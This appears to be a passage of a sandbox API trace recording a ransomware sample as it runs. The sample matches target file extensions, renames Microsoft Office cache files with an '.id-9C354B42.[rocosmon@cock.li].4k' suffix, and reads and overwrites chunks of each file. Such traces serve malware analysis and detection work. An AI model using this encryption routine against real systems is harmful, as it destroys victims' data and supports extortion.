	[0090.442] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0090.442] lstrlenW (lpString=".rar") returned 4
	[0090.442] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0090.442] lstrlenW (lpString=".bz2") returned 4
	[0090.442] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0090.442] lstrlenW (lpString=".7z") returned 3
	[0090.442] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0090.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.442] lstrlenW (lpString=".dbf") returned 4
	[0090.442] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0090.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.442] lstrlenW (lpString=".1cd") returned 4
	[0090.442] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0090.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0090.442] lstrlenW (lpString=".jpg") returned 4
	[0090.442] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0090.442] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0090.442] lstrlenW (lpString="PublisherMUI.msi") returned 16
	[0090.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0090.443] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=2513920) returned 1
	[0090.443] CloseHandle (hObject=0x184) returned 1
	[0090.443] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020
	[0090.443] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0090.443] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0090.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0090.444] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0090.444] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0090.444] ReadFile (in: hFile=0x184, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0090.703] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0090.703] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0090.734] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.734] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0090.734] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0090.905] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.905] WriteFile (in: hFile=0x184, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc010c, lpOverlapped=0x0) returned 1
	[0090.925] SetEndOfFile (hFile=0x184) returned 1
	[0090.925] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f082b0
	[0090.930] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0090.930] WriteFile (in: hFile=0x184, lpBuffer=0x3f082b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f082b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0090.931] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0090.931] WriteFile (in: hFile=0x184, lpBuffer=0x3f082b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f082b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0091.169] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0091.169] WriteFile (in: hFile=0x184, lpBuffer=0x3f082b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f082b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0091.172] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f082b0 | out: hHeap=0x4a0000) returned 1
	[0091.175] CloseHandle (hObject=0x184) returned 1
	[0092.030] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0092.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.030] lstrlenW (lpString=".doc") returned 4
	[0092.030] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0092.030] lstrlenW (lpString=".docx") returned 5
	[0092.030] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0092.030] lstrlenW (lpString=".pdf") returned 4
	[0092.030] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0092.030] lstrlenW (lpString=".xls") returned 4
	[0092.030] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0092.030] lstrlenW (lpString=".xlsx") returned 5
	[0092.030] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0092.030] lstrlenW (lpString=".ppt") returned 4
	[0092.030] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0092.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.031] lstrlenW (lpString=".zip") returned 4
	[0092.031] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0092.031] lstrlenW (lpString=".rar") returned 4
	[0092.031] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0092.031] lstrlenW (lpString=".bz2") returned 4
	[0092.031] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0092.031] lstrlenW (lpString=".7z") returned 3
	[0092.031] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0092.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.031] lstrlenW (lpString=".dbf") returned 4
	[0092.031] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0092.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.031] lstrlenW (lpString=".1cd") returned 4
	[0092.031] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0092.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.031] lstrlenW (lpString=".jpg") returned 4
	[0092.031] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0092.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.031] lstrlenW (lpString=".doc") returned 4
	[0092.031] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0092.031] lstrlenW (lpString=".docx") returned 5
	[0092.031] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0092.031] lstrlenW (lpString=".pdf") returned 4
	[0092.031] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0092.031] lstrlenW (lpString=".xls") returned 4
	[0092.032] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0092.032] lstrlenW (lpString=".xlsx") returned 5
	[0092.032] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0092.032] lstrlenW (lpString=".ppt") returned 4
	[0092.032] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0092.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.032] lstrlenW (lpString=".zip") returned 4
	[0092.032] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0092.032] lstrlenW (lpString=".rar") returned 4
	[0092.032] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0092.032] lstrlenW (lpString=".bz2") returned 4
	[0092.032] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0092.032] lstrlenW (lpString=".7z") returned 3
	[0092.032] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0092.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.032] lstrlenW (lpString=".dbf") returned 4
	[0092.032] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0092.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.032] lstrlenW (lpString=".1cd") returned 4
	[0092.032] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0092.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0092.032] lstrlenW (lpString=".jpg") returned 4
	[0092.032] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0092.032] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0092.033] lstrlenW (lpString="WordLR.cab") returned 10
	[0092.033] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0092.033] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=43806141) returned 1
	[0092.033] CloseHandle (hObject=0x184) returned 1
	[0092.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020
	[0092.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0092.033] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0092.034] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0092.034] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0092.034] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0092.034] ReadFile (in: hFile=0x184, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0092.326] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0092.326] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0092.405] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.406] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0092.406] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0092.479] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.480] WriteFile (in: hFile=0x184, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0092.499] SetEndOfFile (hFile=0x184) returned 1
	[0092.499] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f842e0
	[0092.499] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0092.499] WriteFile (in: hFile=0x184, lpBuffer=0x3f842e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f842e0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0092.500] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0092.500] WriteFile (in: hFile=0x184, lpBuffer=0x3f842e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f842e0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0092.503] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0092.503] WriteFile (in: hFile=0x184, lpBuffer=0x3f842e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f842e0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0092.506] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f842e0 | out: hHeap=0x4a0000) returned 1
	[0092.506] CloseHandle (hObject=0x184) returned 1
	[0096.005] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0096.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.005] lstrlenW (lpString=".doc") returned 4
	[0096.005] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0096.005] lstrlenW (lpString=".docx") returned 5
	[0096.005] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0096.005] lstrlenW (lpString=".pdf") returned 4
	[0096.005] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0096.006] lstrlenW (lpString=".xls") returned 4
	[0096.006] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0096.006] lstrlenW (lpString=".xlsx") returned 5
	[0096.006] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0096.006] lstrlenW (lpString=".ppt") returned 4
	[0096.006] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0096.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.006] lstrlenW (lpString=".zip") returned 4
	[0096.006] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0096.006] lstrlenW (lpString=".rar") returned 4
	[0096.006] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0096.006] lstrlenW (lpString=".bz2") returned 4
	[0096.006] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0096.006] lstrlenW (lpString=".7z") returned 3
	[0096.006] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0096.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.006] lstrlenW (lpString=".dbf") returned 4
	[0096.006] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0096.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.006] lstrlenW (lpString=".1cd") returned 4
	[0096.006] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0096.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.006] lstrlenW (lpString=".jpg") returned 4
	[0096.006] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0096.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.006] lstrlenW (lpString=".doc") returned 4
	[0096.006] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0096.006] lstrlenW (lpString=".docx") returned 5
	[0096.006] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0096.006] lstrlenW (lpString=".pdf") returned 4
	[0096.006] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0096.007] lstrlenW (lpString=".xls") returned 4
	[0096.007] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0096.007] lstrlenW (lpString=".xlsx") returned 5
	[0096.007] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0096.007] lstrlenW (lpString=".ppt") returned 4
	[0096.007] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0096.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.007] lstrlenW (lpString=".zip") returned 4
	[0096.007] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0096.007] lstrlenW (lpString=".rar") returned 4
	[0096.007] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0096.007] lstrlenW (lpString=".bz2") returned 4
	[0096.007] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0096.007] lstrlenW (lpString=".7z") returned 3
	[0096.007] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0096.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.007] lstrlenW (lpString=".dbf") returned 4
	[0096.007] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0096.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.007] lstrlenW (lpString=".1cd") returned 4
	[0096.007] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0096.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0096.007] lstrlenW (lpString=".jpg") returned 4
	[0096.007] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0096.007] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0096.007] lstrlenW (lpString="Proof.msi") returned 9
	[0096.007] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0096.008] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=881152) returned 1
	[0096.008] CloseHandle (hObject=0x184) returned 1
	[0096.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020
	[0096.008] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0096.008] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0096.008] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0096.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0096.095] GetLastError () returned 0x0
	[0096.095] ReadFile (in: hFile=0x184, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0xd7200, lpOverlapped=0x0) returned 1
	[0096.245] WriteFile (in: hFile=0x17c, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xd7210, lpOverlapped=0x0) returned 1
	[0096.261] ReadFile (in: hFile=0x184, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
